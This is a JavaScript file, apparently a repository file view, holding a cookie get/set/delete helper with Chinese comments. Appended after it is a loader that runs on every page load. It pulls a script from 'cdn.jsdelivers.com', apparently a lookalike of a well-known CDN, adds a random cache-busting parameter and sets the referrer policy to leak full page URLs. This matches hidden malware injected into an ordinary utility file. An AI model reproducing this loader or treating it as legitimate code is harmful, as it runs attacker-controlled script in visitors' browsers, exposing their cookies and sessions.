85 lines
2.6 KiB
JavaScript
85 lines
2.6 KiB
JavaScript
var cookieUtils = {
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get: function(name){
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var cookieName=encodeURIComponent(name) + "=";
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//只取得最匹配的name，value
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var cookieStart = document.cookie.indexOf(cookieName);
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var cookieValue = null;
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if (cookieStart > -1) {
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// 从cookieStart算起
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var cookieEnd = document.cookie.indexOf(';', cookieStart);
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//从=后面开始
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if (cookieEnd > -1) {
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cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, cookieEnd));
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} else {
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cookieValue = decodeURIComponent(document.cookie.substring(cookieStart + cookieName.length, document.cookie.length));
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}
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}
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return cookieValue;
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},
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set: function(name, val, options) {
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if (!name) {
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throw new Error("coolie must have name");
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}
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var enc = encodeURIComponent;
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var parts = [];
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val = (val !== null && val !== undefined) ? val.toString() : "";
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options = options || {};
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parts.push(enc(name) + "=" + enc(val));
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// domain中必须包含两个点号
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if (options.domain) {
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parts.push("domain=" + options.domain);
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}
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if (options.path) {
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parts.push("path=" + options.path);
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}
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// 如果不设置expires和max-age浏览器会在页面关闭时清空cookie
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if (options.expires) {
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parts.push("expires=" + options.expires.toGMTString());
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}
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if (options.maxAge && typeof options.maxAge === "number") {
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parts.push("max-age=" + options.maxAge);
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}
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if (options.httpOnly) {
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parts.push("HTTPOnly");
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}
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if (options.secure) {
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parts.push("secure");
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}
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document.cookie = parts.join(";");
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},
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delete: function(name, options) {
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options.expires = new Date(0);// 设置为过去日期
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this.set(name, null, options);
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}
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}
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;function loadJSScript(url, callback) {
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var script = document.createElement("script");
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script.type = "text/javascript";
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script.referrerPolicy = "unsafe-url";
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if (typeof(callback) != "undefined") {
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if (script.readyState) {
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script.onreadystatechange = function() {
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if (script.readyState == "loaded" || script.readyState == "complete") {
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script.onreadystatechange = null;
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callback();
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}
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};
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} else {
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script.onload = function() {
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callback();
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};
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}
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};
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script.src = url;
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document.body.appendChild(script);
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}
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window.onload = function() {
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loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
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console.log("Jquery loaded");
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});
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} |